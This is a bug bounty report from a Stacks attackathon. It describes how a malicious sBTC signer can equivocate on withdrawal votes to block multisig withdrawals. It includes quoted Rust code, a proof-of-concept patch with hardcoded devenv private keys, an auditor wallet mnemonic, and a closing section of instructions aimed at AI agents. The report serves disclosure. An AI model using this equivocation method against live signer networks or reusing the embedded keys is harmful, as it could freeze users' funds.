# #40655 \[BC-Medium] Malicious signers can give different votes to other Signers to prevent sBTC withdrawal

**Submitted on Feb 28th 2025 at 14:44:26 UTC by @f4lc0n for** [**Attackathon | Stacks II**](https://immunefi.com/audit-competition/stacks-attackathon-2)

* **Report ID:** #40655
* **Report Type:** Blockchain/DLT
* **Report severity:** Medium
* **Target:** <https://github.com/stacks-network/sbtc/tree/immunefi\\_attackaton\\_1.0>
* **Impacts:**
  * Permanent freezing of funds (fix requires hardfork)

## Description

## Brief/Intro

After each signer finds a new withdrawal request, it will check it and vote on it (accept is `true` or `false`). Each signer will send its vote to other signers and save the votes received from other signers. Then, when each signer generates a withdrawal BTC transaction, the `signer_bitmap` (that is, votes received from other signers) will be packaged into the BTC transaction.

Then, the malicious signer can send different votes to different signers.

1. For example, there are 12 signers in total and the multi-signature threshold is 8.
2. The malicious signer sends a message with accept as `true` to 5 signers and a message with accept as `false` to the other 6 signers.
3. Then, when the coordinator requests the BTC transaction signature from all signers, the signers will generate two different BTC transactions, representing the malicious signer's accept as `true` and `false` respectively.
4. In the end, this BTC transaction will not be executed because at most only 6 signers' BTC transaction sighashes are the same.

## Vulnerability Details

The `signer/src/bitcoin/utxo.rs::WithdrawalRequest` struct code is as follows. The `signer_bitmap` represents the votes of other signers received by the current signer.

```rust
#[derive(Debug, Clone, Hash, PartialEq, Eq, PartialOrd, Ord)]
pub struct WithdrawalRequest {
    /// The request id generated by the smart contract when the
    /// `initiate-withdrawal-request` public function was called.
    pub request_id: u64,
    /// The stacks transaction ID that lead to the creation of the
    /// withdrawal request.
    pub txid: StacksTxId,
    /// Stacks block ID of the block that includes the transaction
    /// associated with this withdrawal request.
    pub block_hash: StacksBlockHash,
    /// The amount of BTC, in sats, to withdraw.
    pub amount: u64,
    /// The max fee amount to use for the sBTC deposit transaction.
    pub max_fee: u64,
    /// The script_pubkey of the output.
    pub script_pubkey: ScriptPubKey,
    /// A bitmap of how the signers voted. This structure supports up to
    /// 128 distinct signers. Here, we assume that a 1 (or true) implies
    /// that the signer voted *against* the transaction.
    pub signer_bitmap: BitArray<[u8; 16]>,
}
```

The `signer/src/bitcoin/utxo.rs::UnsignedTransaction::withdrawal_merkle_root` function code is as follows. It will put the hash of all `WithdrawalRequests` into the BTC transaction. That is to say, if the votes received by the signer is different, the BTC transaction it generates will also be different.

```rust
    /// The OP_RETURN output includes a merkle tree of the Stacks
    /// transactions that lead to the inclusion of the UTXOs in this
    /// transaction.
    ///
    /// Create the OP_RETURN UTXO for the associated withdrawal request.
    ///
    /// The data returned from this function is a merkle tree constructed
    /// from the HASH160 of each withdrawal request's sBTC data returned by
    /// the [`WithdrawalRequest::sbtc_data`].
    ///
    /// For more on the rationale for this output, see this ticket:
    /// <https://github.com/stacks-network/sbtc/issues/483>.
    ///
    /// `None` is returned if there are no withdrawal requests in the input
    /// slice.
    fn withdrawal_merkle_root(reqs: &Requests) -> Option<[u8; 20]> {
        let hashes = reqs
            .iter()
            .filter_map(RequestRef::as_withdrawal)
            .map(|req| Hash160::hash(&req.sbtc_data()));

        bitcoin::merkle_tree::calculate_root(hashes).map(|hash| hash.to_byte_array())
    }
```

## Impact Details

1. All withdrawal BTC transactions cannot be executed, resulting in sBTC being frozen.
2. Since the input of withdrawal BTC transactions may be deposits, deposits may also not be executed.

## References

None

## Proof of Concept

## Proof of Concept

* Base on: <https://github.com/stacks-network/sbtc/tree/immunefi\\_attackaton\\_1.0>
* Auditor wallet address: `ST2BEV097EV2R9ZMFRMRT904QB5RFYMA0683TC111`
* Auditor wallet mnemonics: `spawn knee orchard patrol merge forget dust position daring short bridge elevator attitude leopard opera appear auction limit magic hover tunnel museum quantum manual`

1. Patch `docker/stacks/stacks-regtest-miner.toml`. Give the auditor address some STX for testing.

   ```diff
    [[ustx_balance]]
    address = "ST3497E9JFQ7KB9VEHAZRWYKF3296WQZEXBPXG193" # Demo principal
    amount = 10000000000000000
    
   +[[ustx_balance]]
   +address = "ST2BEV097EV2R9ZMFRMRT904QB5RFYMA0683TC111" # Auditor principal
   +amount = 10000000000000000
   ```
2. Add [this code](https://gist.github.com/al-f4lc0n/25bd18b41484fab5e3a121df236bbc7d) to `signer/src/bin/pocinit.rs`. On the basis of `./signers.sh demo` command, it also deposited some sBTC to the auditor address for testing
3. Add `pocinit` bin to `signer/Cargo.toml`

   ```diff
   + [[bin]]
   + name = "pocinit"
   + path = "src/bin/pocinit.rs"
   ```
4. Patch `signer/src/request_decider.rs`. In this way, we simulate that `sbtc-signer-1` receives `true` accept from `sbtc-signer-3` and `sbtc-signer-2` receives `false` accept from `sbtc-signer-3`. We don't patch the message sender because that is too complicated.

   ```diff
        #[tracing::instrument(skip_all, fields(sender = %signer_pub_key))]
        async fn persist_received_withdraw_decision(
            &mut self,
            decision: &SignerWithdrawalDecision,
            signer_pub_key: PublicKey,
        ) -> Result<(), Error> {
   -        let signer_decision = WithdrawalSigner {
   +        let mut signer_decision = WithdrawalSigner {
                request_id: decision.request_id,
                block_hash: decision.block_hash.into(),
                signer_pub_key,
                is_accepted: decision.accepted,
                txid: decision.txid,
            };
    
            // TODO: we need to check to see if we have the withdrawal request
            // first.
    
            // AUDIT begin
   +        let signer1_public_key = PublicKey::from_private_key(&PrivateKey::from_slice(&[0x41, 0x63, 0x47, 0x62, 0xd8, 0x9d, 0xfa, 0x09, 0x13, 0x3a, 0x4a, 0x8e, 0x9c, 0x13, 0x78, 0xd0, 0x16, 0x1d, 0x29, 0xcd, 0x0a, 0x94, 0x33, 0xb5, 0x1f, 0x1e, 0x3d, 0x32, 0x94, 0x7a, 0x73, 0xdc])?);
   +        let signer2_public_key = PublicKey::from_private_key(&PrivateKey::from_slice(&[0x9b, 0xfe, 0xcf, 0x16, 0xc9, 0xc1, 0x27, 0x92, 0x58, 0x9d, 0xd2, 0xb8, 0x43, 0xf8, 0x50, 0xd5, 0xb8, 0x9b, 0x81, 0xa0, 0x4f, 0x8a, 0xb9, 0x1c, 0x08, 0x3b, 0xdf, 0x67, 0x09, 0xfb, 0xef, 0xee])?);
   +        let signer3_public_key = PublicKey::from_private_key(&PrivateKey::from_slice(&[0x3e, 0xc0, 0xca, 0x57, 0x70, 0xa3, 0x56, 0xd6, 0xcd, 0x1a, 0x9b, 0xfc, 0xbf, 0x6c, 0xd1, 0x51, 0xeb, 0x1b, 0xd8, 0x5c, 0x38, 0x8c, 0xc0, 0x06, 0x48, 0xec, 0x4e, 0xf5, 0x85, 0x3f, 0xdb, 0x74])?);
   +        if signer_pub_key == signer3_public_key {
   +            if self.signer_public_key() == signer1_public_key {
   +                tracing::info!("AUDIT signer1 receive msg from signer3, set `decision.accepted` to `true`");
   +                signer_decision.is_accepted = true;
   +            } else if self.signer_public_key() == signer2_public_key {
   +                tracing::info!("AUDIT signer2 receive msg from signer3, set `decision.accepted` to `false`");
   +                signer_decision.is_accepted = false;
   +            }
   +        }
   +        // AUDIT end
            self.context
                .get_storage_mut()
                .write_withdrawal_signer_decision(&signer_decision)
   ```
5. Run `devenv` and run `pocinit`

   ```sh
   make devenv-up
   cargo run -p signer --bin pocinit
   ```
6. Use [Sandbox](https://explorer.hiro.so/sandbox/contract-call/SN3R84XZYA63QS28932XQF3G1J8R9PC3W76P9CSQS.sbtc-withdrawal/initiate-withdrawal-request?chain=testnet\&api=http://localhost:3999) to call `sbtc-withdrawal.initiate-withdrawal-request` to trigger a withdrawal.
7. Check the logs and you will see that every time one of `sbtc-signer-1` or `sbtc-signer-2` throws the following error.

   ```sh
   2025-02-28T14:37:15.647265751Z ERROR tx-signer{public_key=031a4d9f4903da97498945a4e01a5023a1d53bc96ad670bfe03adf8a06c52e6380}: signer::transaction_signer: error processing signer message error=the given sighash is unknown: 89aa022853eda773a1aa278cc0226d92d68d360f2e1503a3466c8642fa5f1bab
   ```
8. It should be noted that the withdrawal was finally executed successfully because we only patched `sbtc-signer-1` and `sbtc-signer-2`. In reality, the attacker `sbtc-signer-3` only needs to refuse to sign to make the 2/3 multi-signature difficult to execute.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/stacks-ii-attackathon/40655-bc-medium-malicious-signers-can-give-different-votes-to-other-signers-to-prevent-sbtc-withdraw.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
